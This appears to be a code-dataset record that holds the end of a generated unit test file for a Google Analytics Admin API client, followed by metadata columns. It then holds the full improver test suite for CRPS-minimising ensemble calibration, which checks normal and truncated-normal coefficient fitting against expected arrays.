billing_account = "oyster"
expected = "billingAccounts/{billing_account}".format(
billing_account=billing_account,
)
actual = AnalyticsAdminServiceClient.common_billing_account_path(billing_account)
assert expected == actual
def test_parse_common_billing_account_path():
expected = {
"billing_account": "nudibranch",
}
path = AnalyticsAdminServiceClient.common_billing_account_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_common_billing_account_path(path)
assert expected == actual
def test_common_folder_path():
folder = "cuttlefish"
expected = "folders/{folder}".format(folder=folder,)
actual = AnalyticsAdminServiceClient.common_folder_path(folder)
assert expected == actual
def test_parse_common_folder_path():
expected = {
"folder": "mussel",
}
path = AnalyticsAdminServiceClient.common_folder_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_common_folder_path(path)
assert expected == actual
def test_common_organization_path():
organization = "winkle"
expected = "organizations/{organization}".format(organization=organization,)
actual = AnalyticsAdminServiceClient.common_organization_path(organization)
assert expected == actual
def test_parse_common_organization_path():
expected = {
"organization": "nautilus",
}
path = AnalyticsAdminServiceClient.common_organization_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_common_organization_path(path)
assert expected == actual
def test_common_project_path():
project = "scallop"
expected = "projects/{project}".format(project=project,)
actual = AnalyticsAdminServiceClient.common_project_path(project)
assert expected == actual
def test_parse_common_project_path():
expected = {
"project": "abalone",
}
path = AnalyticsAdminServiceClient.common_project_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_common_project_path(path)
assert expected == actual
def test_common_location_path():
project = "squid"
location = "clam"
expected = "projects/{project}/locations/{location}".format(
project=project, location=location,
)
actual = AnalyticsAdminServiceClient.common_location_path(project, location)
assert expected == actual
def test_parse_common_location_path():
expected = {
"project": "whelk",
"location": "octopus",
}
path = AnalyticsAdminServiceClient.common_location_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_common_location_path(path)
assert expected == actual
def test_client_withDEFAULT_CLIENT_INFO():
client_info = gapic_v1.client_info.ClientInfo()
with mock.patch.object(
transports.AnalyticsAdminServiceTransport, "_prep_wrapped_messages"
) as prep:
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), client_info=client_info,
)
prep.assert_called_once_with(client_info)
with mock.patch.object(
transports.AnalyticsAdminServiceTransport, "_prep_wrapped_messages"
) as prep:
transport_class = AnalyticsAdminServiceClient.get_transport_class()
transport = transport_class(
credentials=ga_credentials.AnonymousCredentials(), client_info=client_info,
)
prep.assert_called_once_with(client_info)
@pytest.mark.asyncio
async def test_transport_close_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc_asyncio",
)
with mock.patch.object(
type(getattr(client.transport, "grpc_channel")), "close"
) as close:
async with client:
close.assert_not_called()
close.assert_called_once()
def test_transport_close():
transports = {
"grpc": "_grpc_channel",
}
for transport, close_name in transports.items():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport
)
with mock.patch.object(
type(getattr(client.transport, close_name)), "close"
) as close:
with client:
close.assert_not_called()
close.assert_called_once()
def test_client_ctx():
transports = [
"grpc",
]
for transport in transports:
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport
)
# Test client calls underlying transport.
with mock.patch.object(type(client.transport), "close") as close:
close.assert_not_called()
with client:
pass
close.assert_called()
| 38.535037 | 138 | 0.695331 | 97,727 | 863,917 | 5.894297 | 0.007153 | 0.027537 | 0.025322 | 0.057136 | 0.979845 | 0.971191 | 0.953668 | 0.942198 | 0.931558 | 0.918018 | 0 | 0.006381 | 0.22778 | 863,917 | 22,418 | 139 | 38.536756 | 0.857062 | 0.211055 | 0 | 0.735439 | 0 | 0 | 0.064287 | 0.021008 | 0 | 0 | 0 | 0.000045 | 0.140027 | 1 | 0.038032 | false | 0.000066 | 0.001862 | 0.000133 | 0.040027 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c77b100b06f2addd18ef1457afdfd889ec7c4c33 | 35,791 | py | Python | improver_tests/calibration/ensemble_calibration/test_ContinuousRankedProbabilityScoreMinimisers.py | yzhaobom/improver | 47f9e103c63f890bfbb24d5e08d9d01d041514f7 | [
"BSD-3-Clause"
] | null | null | null | improver_tests/calibration/ensemble_calibration/test_ContinuousRankedProbabilityScoreMinimisers.py | yzhaobom/improver | 47f9e103c63f890bfbb24d5e08d9d01d041514f7 | [
"BSD-3-Clause"
] | 4 | 2017-05-24T10:30:02.000Z | 2021-09-30T08:58:50.000Z | improver_tests/calibration/ensemble_calibration/test_ContinuousRankedProbabilityScoreMinimisers.py | btrotta-bom/improver | dbe08f379072b5d5074ce4ad661c37a9f40437c0 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
# (C) British Crown Copyright 2017-2021 Met Office.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# * Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
"""
Unit tests for the
`ensemble_calibration.ContinuousRankedProbabilityScoreMinimisers`
class.
"""
import unittest
import iris
import numpy as np
from iris.tests import IrisTest
from improver.calibration.ensemble_calibration import (
ContinuousRankedProbabilityScoreMinimisers as Plugin,
)
from improver.calibration.utilities import convert_cube_data_to_2d
from improver.utilities.warnings_handler import ManageWarnings
from .helper_functions import EnsembleCalibrationAssertions, SetupCubes
class SetupInputs(IrisTest):
"""Set up inputs for testing."""
def setUp(self):
"""Set up inputs for testing."""
super().setUp()
self.sqrt_pi = np.sqrt(np.pi).astype(np.float64)
self.initial_guess_for_mean = np.array([0, 1, 0, 1], dtype=np.float64)
self.initial_guess_for_realization = np.array(
[0, np.sqrt(1 / 3.0), np.sqrt(1 / 3.0), np.sqrt(1 / 3.0), 0, 1],
dtype=np.float64,
)
class SetupNormalInputs(SetupInputs, SetupCubes):
"""Create a class for setting up cubes for testing."""
@ManageWarnings(
ignored_messages=["Collapsing a non-contiguous coordinate."],
warning_types=[UserWarning],
)
def setUp(self):
"""Set up expected inputs."""
super().setUp()
# Set up cubes and associated data arrays for temperature.
self.forecast_predictor_mean = self.historic_temperature_forecast_cube.collapsed(
"realization", iris.analysis.MEAN
)
self.forecast_predictor_realizations = (
self.historic_temperature_forecast_cube.copy()
)
self.forecast_variance = self.historic_temperature_forecast_cube.collapsed(
"realization", iris.analysis.VARIANCE
)
self.truth = self.historic_temperature_forecast_cube.collapsed(
"realization", iris.analysis.MAX
)
self.forecast_predictor_data = self.forecast_predictor_mean.data.flatten().astype(
np.float64
)
self.forecast_predictor_data_realizations = convert_cube_data_to_2d(
self.historic_temperature_forecast_cube.copy()
).astype(np.float64)
self.forecast_variance_data = self.forecast_variance.data.flatten().astype(
np.float64
)
self.truth_data = self.truth.data.flatten().astype(np.float64)
class Test_calculate_normal_crps(SetupNormalInputs):
"""
Test minimising the CRPS for a normal distribution.
Either the ensemble mean or the individual ensemble realizations are
used as the predictors.
"""
def setUp(self):
"""Set up plugin."""
super().setUp()
self.precision = 4
self.plugin = Plugin(tolerance=1e-4)
@ManageWarnings(ignored_messages=["Collapsing a non-contiguous coordinate."])
def test_basic_mean_predictor(self):
"""
Test that the plugin returns a numpy float value with the
mean as the predictor. The result indicates the minimum value for the
CRPS that was achieved by the minimisation.
"""
predictor = "mean"
result = self.plugin.calculate_normal_crps(
self.initial_guess_for_mean,
self.forecast_predictor_data,
self.truth_data,
self.forecast_variance_data,
self.sqrt_pi,
predictor,
)
self.assertIsInstance(result, np.float64)
self.assertAlmostEqual(result, 0.3006, places=self.precision)
@ManageWarnings(ignored_messages=["Collapsing a non-contiguous coordinate."])
def test_basic_realizations_predictor(self):
"""
Test that the plugin returns a numpy float value with the ensemble
realizations as the predictor. The result indicates the minimum value
for the CRPS that was achieved by the minimisation.
"""
predictor = "realizations"
result = self.plugin.calculate_normal_crps(
self.initial_guess_for_realization,
self.forecast_predictor_data_realizations,
self.truth_data,
self.forecast_variance_data,
self.sqrt_pi,
predictor,
)
self.assertIsInstance(result, np.float64)
self.assertAlmostEqual(result, 0.3006, places=self.precision)
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"invalid value encountered in",
],
warning_types=[UserWarning, RuntimeWarning],
)
def test_basic_mean_predictor_bad_value(self):
"""
Test that the plugin returns a numpy float64 value
and that the value matches the BAD_VALUE, when the appropriate
condition is found. The ensemble mean is the predictor.
The initial guess is specifically set to float32 precision for the
purpose for generating the BAD_VALUE for the unit test.
"""
initial_guess = np.array([1e65, 1e65, 1e65, 1e65], dtype=np.float32)
predictor = "mean"
result = self.plugin.calculate_normal_crps(
initial_guess,
self.forecast_predictor_data,
self.truth_data,
self.forecast_variance_data,
self.sqrt_pi,
predictor,
)
self.assertIsInstance(result, np.float64)
self.assertAlmostEqual(result, self.plugin.BAD_VALUE, self.precision)
class Test_process_normal_distribution(
SetupNormalInputs, EnsembleCalibrationAssertions
):
"""
Test minimising the CRPS for a normal distribution.
Either the ensemble mean or the individual ensemble realizations are used
as the predictors.
"""
def setUp(self):
"""Set up expected output.
The coefficients are in the order [alpha, beta, gamma, delta].
"""
super().setUp()
self.tolerance = 1e-4
self.plugin = Plugin(tolerance=self.tolerance)
self.expected_mean_coefficients = [-0.0003, 1.0013, 0.0012, 0.5945]
self.expected_realizations_coefficients = [
0.0254,
0.4349,
0.39,
0.8122,
-0.0016,
0.2724,
]
self.expected_mean_coefficients_point_by_point = np.array(
[
[
[0.0015, 0.0037, -0.002],
[-0.0009, 0.0008, 0.0015],
[-0.0046, 0.0053, -0.0038],
],
[
[1.0039, 1.0035, 1.0009],
[1.0013, 1.0011, 1.001],
[1.002, 1.0015, 1.0008],
],
[
[0.0017, -0.0009, -0.0002],
[0.0054, 0.0003, -0.0002],
[-0.0001, -0.0018, 0.0002],
],
[
[-0.0, 0.0007, -0.0009],
[0.0003, -0.0001, -0.001],
[-0.0013, 0.0, 0.0006],
],
],
dtype=np.float32,
)
self.expected_mean_coefficients_point_by_point_sites = np.array(
[
[0.0017, 0.0017, 0.0017, 0.0017],
[1.0036, 1.0036, 1.0036, 1.0036],
[0.0017, 0.0017, 0.0017, 0.0017],
[-0.0, -0.0, -0.0, 0.0],
],
dtype=np.float32,
)
self.expected_realizations_coefficients_point_by_point = np.array(
[
[
[0.0001, 0.0001, 0.0001],
[0.0001, 0.0001, 0.0],
[0.0001, 0.0001, 0.0001],
],
[
[0.579, 0.5793, 0.5782],
[0.5782, 0.5778, 0.5781],
[0.5786, 0.5782, 0.5783],
],
[
[0.5795, 0.5786, 0.5782],
[0.5783, 0.578, 0.5767],
[0.5791, 0.578, 0.5763],
],
[
[0.5773, 0.5769, 0.5763],
[0.5769, 0.5771, 0.5782],
[0.5764, 0.5773, 0.5783],
],
[
[0.0001, 0.0001, 0.0001],
[0.0001, 0.0001, 0.0001],
[0.0001, 0.0001, 0.0],
],
[
[1.0194, 1.0143, 1.0199],
[1.0199, 1.02, 1.013],
[1.0144, 0.9885, 1.0246],
],
],
dtype=np.float32,
)
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"Minimisation did not result in convergence",
"divide by zero encountered in",
],
warning_types=[UserWarning, UserWarning, RuntimeWarning],
)
def test_basic_mean_predictor(self):
"""
Test that the plugin returns a numpy array with the expected
coefficients. The ensemble mean is the predictor.
"""
predictor = "mean"
distribution = "norm"
result = self.plugin.process(
self.initial_guess_for_mean,
self.forecast_predictor_mean,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
self.assertIsInstance(result, np.ndarray)
self.assertEqual(result.dtype, np.float32)
self.assertEMOSCoefficientsAlmostEqual(result, self.expected_mean_coefficients)
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"Minimisation did not result in convergence",
"divide by zero encountered in",
"invalid value encountered in",
],
warning_types=[UserWarning, UserWarning, RuntimeWarning, RuntimeWarning],
)
def test_basic_realizations_predictor(self):
"""
Test that the plugin returns a numpy array with the expected
coefficients. The ensemble realizations are the predictor.
"""
predictor = "realizations"
distribution = "norm"
result = self.plugin.process(
self.initial_guess_for_realization,
self.forecast_predictor_realizations,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
self.assertIsInstance(result, np.ndarray)
self.assertEqual(result.dtype, np.float32)
self.assertEMOSCoefficientsAlmostEqual(
result, self.expected_realizations_coefficients
)
@ManageWarnings(ignored_messages=["Collapsing a non-contiguous coordinate."])
def test_mean_predictor_keyerror(self):
"""
Test that the minimisation has resulted in a KeyError, if the
distribution that has been requested was not within the dictionary
containing the minimisation functions.
"""
predictor = "mean"
distribution = "foo"
msg = "Distribution requested"
with self.assertRaisesRegex(KeyError, msg):
self.plugin.process(
self.initial_guess_for_mean,
self.forecast_predictor_mean,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"Minimisation did not result in convergence",
"divide by zero encountered in",
],
warning_types=[UserWarning, UserWarning, RuntimeWarning],
)
def test_mean_predictor_max_iterations(self):
"""
Test that the plugin returns a list of coefficients
equal to specific values, when the ensemble mean is the predictor
assuming a normal distribution and the value specified for the
max_iterations is overridden. The coefficients are calculated by
minimising the CRPS.
"""
predictor = "mean"
max_iterations = 400
distribution = "norm"
plugin = Plugin(tolerance=self.tolerance, max_iterations=max_iterations)
result = plugin.process(
self.initial_guess_for_mean,
self.forecast_predictor_mean,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
self.assertEMOSCoefficientsAlmostEqual(result, self.expected_mean_coefficients)
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"Minimisation did not result in convergence",
"divide by zero encountered in",
"invalid value encountered in",
],
warning_types=[UserWarning, UserWarning, RuntimeWarning, RuntimeWarning],
)
def test_realizations_predictor_max_iterations(self):
"""
Test that the plugin returns a list of coefficients
equal to specific values, when the ensemble realizations are the
predictor assuming a truncated normal distribution and the value
specified for the MAX_ITERATIONS is overridden. The coefficients are
calculated by minimising the CRPS.
"""
predictor = "realizations"
max_iterations = 1000
distribution = "norm"
plugin = Plugin(tolerance=self.tolerance, max_iterations=max_iterations)
result = plugin.process(
self.initial_guess_for_realization,
self.forecast_predictor_realizations,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
self.assertEMOSCoefficientsAlmostEqual(
result, self.expected_realizations_coefficients
)
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"Minimisation did not result in convergence",
"divide by zero encountered in",
],
warning_types=[UserWarning, UserWarning, RuntimeWarning],
)
def test_mean_predictor_point_by_point(self):
"""
Test that the expected coefficients are generated when the ensemble
mean is the predictor for a normal distribution and coefficients are
calculated independently at each grid point. The coefficients are
calculated by minimising the CRPS.
"""
predictor = "mean"
distribution = "norm"
initial_guess = np.broadcast_to(
self.initial_guess_for_mean,
(
len(self.truth.coord(axis="y").points)
* len(self.truth.coord(axis="x").points),
len(self.initial_guess_for_mean),
),
)
plugin = Plugin(tolerance=self.tolerance, point_by_point=True)
result = plugin.process(
initial_guess,
self.forecast_predictor_mean,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
self.assertEMOSCoefficientsAlmostEqual(
result, self.expected_mean_coefficients_point_by_point
)
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"Minimisation did not result in convergence",
"divide by zero encountered in",
],
warning_types=[UserWarning, UserWarning, RuntimeWarning],
)
def test_mean_predictor_point_by_point_sites(self):
"""
Test that the expected coefficients are generated when the ensemble
mean is the predictor for a normal distribution and coefficients are
calculated independently at each site location. The coefficients are
calculated by minimising the CRPS.
"""
forecast_spot_cube = self.historic_forecast_spot_cube.collapsed(
"realization", iris.analysis.MEAN
)
forecast_var_spot_cube = forecast_spot_cube.copy()
forecast_var_spot_cube.data = forecast_var_spot_cube.data / 10.0
predictor = "mean"
distribution = "norm"
initial_guess = np.broadcast_to(
self.initial_guess_for_mean,
(
len(self.truth.coord(axis="y").points)
* len(self.truth.coord(axis="x").points),
len(self.initial_guess_for_mean),
),
)
plugin = Plugin(tolerance=self.tolerance, point_by_point=True)
result = plugin.process(
initial_guess,
forecast_spot_cube,
self.truth_spot_cube,
forecast_var_spot_cube,
predictor,
distribution,
)
self.assertEMOSCoefficientsAlmostEqual(
result, self.expected_mean_coefficients_point_by_point_sites
)
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"Minimisation did not result in convergence",
"divide by zero encountered in",
"invalid value encountered in",
],
warning_types=[UserWarning, UserWarning, RuntimeWarning, RuntimeWarning],
)
def test_realizations_predictor_point_by_point(self):
"""
Test that the expected coefficients are generated when the ensemble
realizations are the predictor for a normal distribution and
coefficients are calculated independently at each grid point. The
coefficients are calculated by minimising the CRPS.
"""
predictor = "realizations"
distribution = "norm"
initial_guess = np.broadcast_to(
self.initial_guess_for_realization,
(
len(self.truth.coord(axis="y").points)
* len(self.truth.coord(axis="x").points),
len(self.initial_guess_for_realization),
),
)
# Use a larger value for the tolerance to terminate sooner to avoid
# minimising in computational noise.
plugin = Plugin(tolerance=0.01, point_by_point=True)
result = plugin.process(
initial_guess,
self.forecast_predictor_realizations,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
self.assertArrayAlmostEqual(
result, self.expected_realizations_coefficients_point_by_point, decimal=2
)
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"Minimisation did not result in convergence",
"divide by zero encountered in",
],
warning_types=[UserWarning, UserWarning, RuntimeWarning],
)
@ManageWarnings(
record=True, ignored_messages=["Collapsing a non-contiguous coordinate."]
)
def test_catch_warnings(self, warning_list=None):
"""
Test that a warning is generated if the minimisation
does not result in a convergence. The ensemble mean is the predictor.
"""
predictor = "mean"
distribution = "norm"
plugin = Plugin(tolerance=self.tolerance, max_iterations=10)
plugin.process(
self.initial_guess_for_mean,
self.forecast_predictor_mean,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
warning_msg = "Minimisation did not result in convergence after"
self.assertTrue(any(item.category == UserWarning for item in warning_list))
self.assertTrue(any(warning_msg in str(item) for item in warning_list))
@ManageWarnings(
record=True, ignored_messages=["Collapsing a non-contiguous coordinate."]
)
def test_catch_warnings_percentage_change(self, warning_list=None):
"""
Test that two warnings are generated if the minimisation
does not result in a convergence. The first warning reports a that
the minimisation did not result in convergence, whilst the second
warning reports that the percentage change in the final iteration was
greater than the tolerated value. The ensemble mean is the predictor.
"""
initial_guess = np.array([5000, 1, 0, 1], dtype=np.float64)
predictor = "mean"
distribution = "norm"
plugin = Plugin(tolerance=self.tolerance, max_iterations=5)
plugin.process(
initial_guess,
self.forecast_predictor_mean,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
warning_msg_min = "Minimisation did not result in convergence after"
warning_msg_iter = "The final iteration resulted in a percentage "
self.assertTrue(any(item.category == UserWarning for item in warning_list))
self.assertTrue(any(warning_msg_min in str(item) for item in warning_list))
self.assertTrue(any(warning_msg_iter in str(item) for item in warning_list))
class SetupTruncatedNormalInputs(SetupInputs, SetupCubes):
"""Create a class for setting up cubes for testing."""
@ManageWarnings(
ignored_messages=["Collapsing a non-contiguous coordinate."],
warning_types=[UserWarning],
)
def setUp(self):
"""Set up expected inputs."""
super().setUp()
# Set up cubes and associated data arrays for wind speed.
self.forecast_predictor_mean = self.historic_wind_speed_forecast_cube.collapsed(
"realization", iris.analysis.MEAN
)
self.forecast_predictor_realizations = (
self.historic_wind_speed_forecast_cube.copy()
)
self.forecast_variance = self.historic_wind_speed_forecast_cube.collapsed(
"realization", iris.analysis.VARIANCE
)
self.truth = self.historic_wind_speed_forecast_cube.collapsed(
"realization", iris.analysis.MAX
)
self.forecast_predictor_data = self.forecast_predictor_mean.data.flatten().astype(
np.float64
)
self.forecast_predictor_data_realizations = convert_cube_data_to_2d(
self.historic_wind_speed_forecast_cube.copy()
).astype(np.float64)
self.forecast_variance_data = self.forecast_variance.data.flatten().astype(
np.float64
)
self.truth_data = self.truth.data.flatten().astype(np.float64)
class Test_calculate_truncated_normal_crps(SetupTruncatedNormalInputs):
"""
Test minimising the crps for a truncated normal distribution.
Either the ensemble mean or the individual ensemble realizations are used
as the predictors.
"""
def setUp(self):
"""Set up plugin."""
super().setUp()
self.precision = 4
self.plugin = Plugin(tolerance=1e-4)
@ManageWarnings(ignored_messages=["Collapsing a non-contiguous coordinate."])
def test_basic_mean_predictor(self):
"""
Test that the plugin returns a numpy float value. The ensemble mean
is the predictor. The result indicates the minimum value
for the CRPS that was achieved by the minimisation.
"""
predictor = "mean"
result = self.plugin.calculate_truncated_normal_crps(
self.initial_guess_for_mean,
self.forecast_predictor_data,
self.truth_data,
self.forecast_variance_data,
self.sqrt_pi,
predictor,
)
self.assertIsInstance(result, np.float64)
self.assertAlmostEqual(result, 0.2150, self.precision)
@ManageWarnings(ignored_messages=["Collapsing a non-contiguous coordinate."])
def test_basic_realizations_predictor(self):
"""
Test that the plugin returns a numpy float value. The ensemble
realizations are the predictor. The result indicates the minimum value
for the CRPS that was achieved by the minimisation.
"""
predictor = "realizations"
result = self.plugin.calculate_truncated_normal_crps(
self.initial_guess_for_realization,
self.forecast_predictor_data_realizations,
self.truth_data,
self.forecast_variance_data,
self.sqrt_pi,
predictor,
)
self.assertIsInstance(result, np.float64)
self.assertAlmostEqual(result, 0.2150, self.precision)
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"invalid value encountered in",
],
warning_types=[UserWarning, RuntimeWarning],
)
def test_basic_mean_predictor_bad_value(self):
"""
Test that the plugin returns a numpy float64 value
and that the value matches the BAD_VALUE, when the appropriate
condition is found. The ensemble mean is the predictor. The initial
guess is specifically set to float32 precision for the purpose for
generating the BAD_VALUE for the unit test.
"""
initial_guess = np.array([1e65, 1e65, 1e65, 1e65], dtype=np.float32)
predictor = "mean"
result = self.plugin.calculate_truncated_normal_crps(
initial_guess,
self.forecast_predictor_data,
self.truth_data,
self.forecast_variance_data,
self.sqrt_pi,
predictor,
)
self.assertIsInstance(result, np.float64)
self.assertAlmostEqual(result, self.plugin.BAD_VALUE, self.precision)
class Test_process_truncated_normal_distribution(
SetupTruncatedNormalInputs, EnsembleCalibrationAssertions
):
"""
Test minimising the CRPS for a truncated normal distribution.
Either the ensemble mean or the individual ensemble realizations are used
as the predictors.
"""
def setUp(self):
"""Set up expected output."""
super().setUp()
self.tolerance = 1e-4
self.plugin = Plugin(tolerance=self.tolerance)
self.expected_mean_coefficients = [0.3958, 0.9854, -0.0, 0.621]
self.expected_realizations_coefficients = [
0.1898,
-0.1558,
0.4452,
0.8877,
-0.1331,
-0.0002,
]
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"The final iteration resulted in",
"invalid value encountered in",
"divide by zero encountered in",
],
warning_types=[UserWarning, UserWarning, RuntimeWarning, RuntimeWarning],
)
def test_basic_mean_predictor(self):
"""
Test that the plugin returns a numpy array. The ensemble mean
is the predictor.
"""
predictor = "mean"
distribution = "truncnorm"
result = self.plugin.process(
self.initial_guess_for_mean,
self.forecast_predictor_mean,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
self.assertIsInstance(result, np.ndarray)
self.assertEMOSCoefficientsAlmostEqual(result, self.expected_mean_coefficients)
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"Minimisation did not result in convergence",
"invalid value encountered in",
"divide by zero encountered in",
],
warning_types=[UserWarning, UserWarning, RuntimeWarning, RuntimeWarning],
)
def test_basic_realizations_predictor(self):
"""
Test that the plugin returns a numpy array with the expected
coefficients. The ensemble realizations are the predictor.
"""
predictor = "realizations"
distribution = "truncnorm"
result = self.plugin.process(
self.initial_guess_for_realization,
self.forecast_predictor_realizations,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
self.assertIsInstance(result, np.ndarray)
self.assertEMOSCoefficientsAlmostEqual(
result, self.expected_realizations_coefficients
)
@ManageWarnings(ignored_messages=["Collapsing a non-contiguous coordinate."])
def test_mean_predictor_keyerror(self):
"""
Test that an exception is raised when the distribution requested is
not an available option when the predictor is the
ensemble mean.
"""
predictor = "mean"
distribution = "foo"
msg = "Distribution requested"
with self.assertRaisesRegex(KeyError, msg):
self.plugin.process(
self.initial_guess_for_mean,
self.forecast_predictor_mean,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"Minimisation did not result in convergence",
"The final iteration resulted in",
"invalid value encountered in",
"divide by zero encountered in",
],
warning_types=[
UserWarning,
UserWarning,
UserWarning,
RuntimeWarning,
RuntimeWarning,
],
)
def test_mean_predictor_max_iterations(self):
"""
Test that the plugin returns a list of coefficients
equal to specific values, when the ensemble mean is the predictor
assuming a truncated normal distribution and the value specified
for the max_iterations is overridden. The coefficients are
calculated by minimising the CRPS.
"""
predictor = "mean"
max_iterations = 400
distribution = "truncnorm"
plugin = Plugin(tolerance=self.tolerance, max_iterations=max_iterations)
result = plugin.process(
self.initial_guess_for_mean,
self.forecast_predictor_mean,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
self.assertEMOSCoefficientsAlmostEqual(result, self.expected_mean_coefficients)
@ManageWarnings(
ignored_messages=[
"Collapsing a non-contiguous coordinate.",
"Minimisation did not result in convergence",
"invalid value encountered in",
"divide by zero encountered in",
],
warning_types=[UserWarning, UserWarning, RuntimeWarning, RuntimeWarning],
)
def test_realizations_predictor_max_iterations(self):
"""
Test that the plugin returns a list of coefficients
equal to specific values, when the ensemble realizations are the
predictor assuming a truncated normal distribution and the value
specified for the max_iterations is overridden. The coefficients are
calculated by minimising the CRPS.
"""
predictor = "realizations"
max_iterations = 1000
distribution = "truncnorm"
plugin = Plugin(tolerance=self.tolerance, max_iterations=max_iterations)
result = plugin.process(
self.initial_guess_for_realization,
self.forecast_predictor_realizations,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
self.assertEMOSCoefficientsAlmostEqual(
result, self.expected_realizations_coefficients
)
@ManageWarnings(
record=True, ignored_messages=["Collapsing a non-contiguous coordinate."]
)
def test_catch_warnings(self, warning_list=None):
"""
Test that a warning is generated if the minimisation
does not result in a convergence. The ensemble mean is the predictor.
"""
predictor = "mean"
distribution = "truncnorm"
plugin = Plugin(tolerance=self.tolerance, max_iterations=10)
plugin.process(
self.initial_guess_for_mean,
self.forecast_predictor_mean,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
warning_msg = "Minimisation did not result in convergence after"
self.assertTrue(any(item.category == UserWarning for item in warning_list))
self.assertTrue(any(warning_msg in str(item) for item in warning_list))
@ManageWarnings(
record=True, ignored_messages=["Collapsing a non-contiguous coordinate."]
)
def test_catch_warnings_percentage_change(self, warning_list=None):
"""
Test that two warnings are generated if the minimisation
does not result in a convergence. The first warning reports a that
the minimisation did not result in convergence, whilst the second
warning reports that the percentage change in the final iteration was
greater than the tolerated value.
The ensemble mean is the predictor.
"""
initial_guess = np.array([0, 1, 5000, 1], dtype=np.float64)
predictor = "mean"
distribution = "truncnorm"
plugin = Plugin(tolerance=self.tolerance, max_iterations=5)
plugin.process(
initial_guess,
self.forecast_predictor_mean,
self.truth,
self.forecast_variance,
predictor,
distribution,
)
warning_msg_min = "Minimisation did not result in convergence after"
warning_msg_iter = "The final iteration resulted in a percentage "
self.assertTrue(any(item.category == UserWarning for item in warning_list))
self.assertTrue(any(warning_msg_min in str(item) for item in warning_list))
self.assertTrue(any(warning_msg_iter in str(item) for item in warning_list))
if __name__ == "__main__":
unittest.main()
